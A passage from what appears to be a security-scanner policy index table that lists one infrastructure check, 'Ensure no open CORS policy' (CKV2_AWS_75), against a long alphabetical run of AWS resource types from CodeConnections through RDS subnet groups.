CKV2_AWS_75 | resource | aws_codeconnections_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 467 | CKV2_AWS_75 | resource | aws_codedeploy_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 468 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 469 | CKV2_AWS_75 | resource | aws_codedeploy_deployment_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 470 | CKV2_AWS_75 | resource | aws_codeguruprofiler_profiling_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 471 | CKV2_AWS_75 | resource | aws_codegurureviewer_repository_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 472 | CKV2_AWS_75 | resource | aws_codepipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 473 | CKV2_AWS_75 | resource | aws_codepipeline_custom_action_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 474 | CKV2_AWS_75 | resource | aws_codepipeline_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 475 | CKV2_AWS_75 | resource | aws_codestarconnections_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 476 | CKV2_AWS_75 | resource | aws_codestarconnections_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 477 | CKV2_AWS_75 | resource | aws_codestarnotifications_notification_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 478 | CKV2_AWS_75 | resource | aws_cognito_identity_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 479 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_provider_principal_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 480 | CKV2_AWS_75 | resource | aws_cognito_identity_pool_roles_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 481 | CKV2_AWS_75 | resource | aws_cognito_identity_provider | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 482 | CKV2_AWS_75 | resource | aws_cognito_managed_user_pool_client | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 483 | CKV2_AWS_75 | resource | aws_cognito_resource_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 484 | CKV2_AWS_75 | resource | aws_cognito_risk_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 485 | CKV2_AWS_75 | resource | aws_cognito_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 486 | CKV2_AWS_75 | resource | aws_cognito_user_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 487 | CKV2_AWS_75 | resource | aws_cognito_user_in_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 488 | CKV2_AWS_75 | resource | aws_cognito_user_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 489 | CKV2_AWS_75 | resource | aws_cognito_user_pool_client | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 490 | CKV2_AWS_75 | resource | aws_cognito_user_pool_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 491 | CKV2_AWS_75 | resource | aws_cognito_user_pool_ui_customization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 492 | CKV2_AWS_75 | resource | aws_comprehend_document_classifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 493 | CKV2_AWS_75 | resource | aws_comprehend_entity_recognizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 494 | CKV2_AWS_75 | resource | aws_computeoptimizer_enrollment_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 495 | CKV2_AWS_75 | resource | aws_computeoptimizer_recommendation_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 496 | CKV2_AWS_75 | resource | aws_config_aggregate_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 497 | CKV2_AWS_75 | resource | aws_config_config_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 498 | CKV2_AWS_75 | resource | aws_config_configuration_aggregator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 499 | CKV2_AWS_75 | resource | aws_config_configuration_recorder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 500 | CKV2_AWS_75 | resource | aws_config_configuration_recorder_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 501 | CKV2_AWS_75 | resource | aws_config_conformance_pack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 502 | CKV2_AWS_75 | resource | aws_config_delivery_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 503 | CKV2_AWS_75 | resource | aws_config_organization_conformance_pack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 504 | CKV2_AWS_75 | resource | aws_config_organization_custom_policy_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 505 | CKV2_AWS_75 | resource | aws_config_organization_custom_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 506 | CKV2_AWS_75 | resource | aws_config_organization_managed_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 507 | CKV2_AWS_75 | resource | aws_config_remediation_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 508 | CKV2_AWS_75 | resource | aws_config_retention_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 509 | CKV2_AWS_75 | resource | aws_connect_bot_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 510 | CKV2_AWS_75 | resource | aws_connect_contact_flow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 511 | CKV2_AWS_75 | resource | aws_connect_contact_flow_module | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 512 | CKV2_AWS_75 | resource | aws_connect_hours_of_operation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 513 | CKV2_AWS_75 | resource | aws_connect_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 514 | CKV2_AWS_75 | resource | aws_connect_instance_storage_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 515 | CKV2_AWS_75 | resource | aws_connect_lambda_function_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 516 | CKV2_AWS_75 | resource | aws_connect_phone_number | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 517 | CKV2_AWS_75 | resource | aws_connect_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 518 | CKV2_AWS_75 | resource | aws_connect_quick_connect | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 519 | CKV2_AWS_75 | resource | aws_connect_routing_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 520 | CKV2_AWS_75 | resource | aws_connect_security_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 521 | CKV2_AWS_75 | resource | aws_connect_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 522 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 523 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_structure | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 524 | CKV2_AWS_75 | resource | aws_connect_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 525 | CKV2_AWS_75 | resource | aws_controltower_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 526 | CKV2_AWS_75 | resource | aws_controltower_landing_zone | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 527 | CKV2_AWS_75 | resource | aws_costoptimizationhub_enrollment_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 528 | CKV2_AWS_75 | resource | aws_costoptimizationhub_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 529 | CKV2_AWS_75 | resource | aws_cur_report_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 530 | CKV2_AWS_75 | resource | aws_customer_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 531 | CKV2_AWS_75 | resource | aws_customerprofiles_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 532 | CKV2_AWS_75 | resource | aws_customerprofiles_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 533 | CKV2_AWS_75 | resource | aws_dataexchange_data_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 534 | CKV2_AWS_75 | resource | aws_dataexchange_revision | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 535 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 536 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 537 | CKV2_AWS_75 | resource | aws_datasync_agent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 538 | CKV2_AWS_75 | resource | aws_datasync_location_azure_blob | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 539 | CKV2_AWS_75 | resource | aws_datasync_location_efs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 540 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_lustre_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 541 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_ontap_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 542 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_openzfs_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 543 | CKV2_AWS_75 | resource | aws_datasync_location_fsx_windows_file_system | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 544 | CKV2_AWS_75 | resource | aws_datasync_location_hdfs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 545 | CKV2_AWS_75 | resource | aws_datasync_location_nfs | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 546 | CKV2_AWS_75 | resource | aws_datasync_location_object_storage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 547 | CKV2_AWS_75 | resource | aws_datasync_location_s3 | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 548 | CKV2_AWS_75 | resource | aws_datasync_location_smb | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 549 | CKV2_AWS_75 | resource | aws_datasync_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 550 | CKV2_AWS_75 | resource | aws_datazone_asset_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 551 | CKV2_AWS_75 | resource | aws_datazone_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 552 | CKV2_AWS_75 | resource | aws_datazone_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 553 | CKV2_AWS_75 | resource | aws_datazone_environment_blueprint_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 554 | CKV2_AWS_75 | resource | aws_datazone_environment_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 555 | CKV2_AWS_75 | resource | aws_datazone_form_type | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 556 | CKV2_AWS_75 | resource | aws_datazone_glossary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 557 | CKV2_AWS_75 | resource | aws_datazone_glossary_term | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 558 | CKV2_AWS_75 | resource | aws_datazone_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 559 | CKV2_AWS_75 | resource | aws_datazone_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 560 | CKV2_AWS_75 | resource | aws_dax_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 561 | CKV2_AWS_75 | resource | aws_dax_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 562 | CKV2_AWS_75 | resource | aws_dax_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 563 | CKV2_AWS_75 | resource | aws_db_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 564 | CKV2_AWS_75 | resource | aws_db_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 565 | CKV2_AWS_75 | resource | aws_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 566 | CKV2_AWS_75 | resource | aws_db_instance_automated_backups_replication | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 567 | CKV2_AWS_75 | resource | aws_db_instance_role_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 568 | CKV2_AWS_75 | resource | aws_db_option_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 569 | CKV2_AWS_75 | resource | aws_db_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 570 | CKV2_AWS_75 | resource | aws_db_proxy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 571 | CKV2_AWS_75 | resource | aws_db_proxy_default_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 572 | CKV2_AWS_75 | resource | aws_db_proxy_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 573 | CKV2_AWS_75 | resource | aws_db_proxy_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 574 | CKV2_AWS_75 | resource | aws_db_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 575 | CKV2_AWS_75 | resource | aws_db_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 576 | CKV2_AWS_75 | resource | aws_db_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 577 | CKV2_AWS_75 | resource | aws_db_subnet_group | Ensure no open CORS policy | Cloudformation | 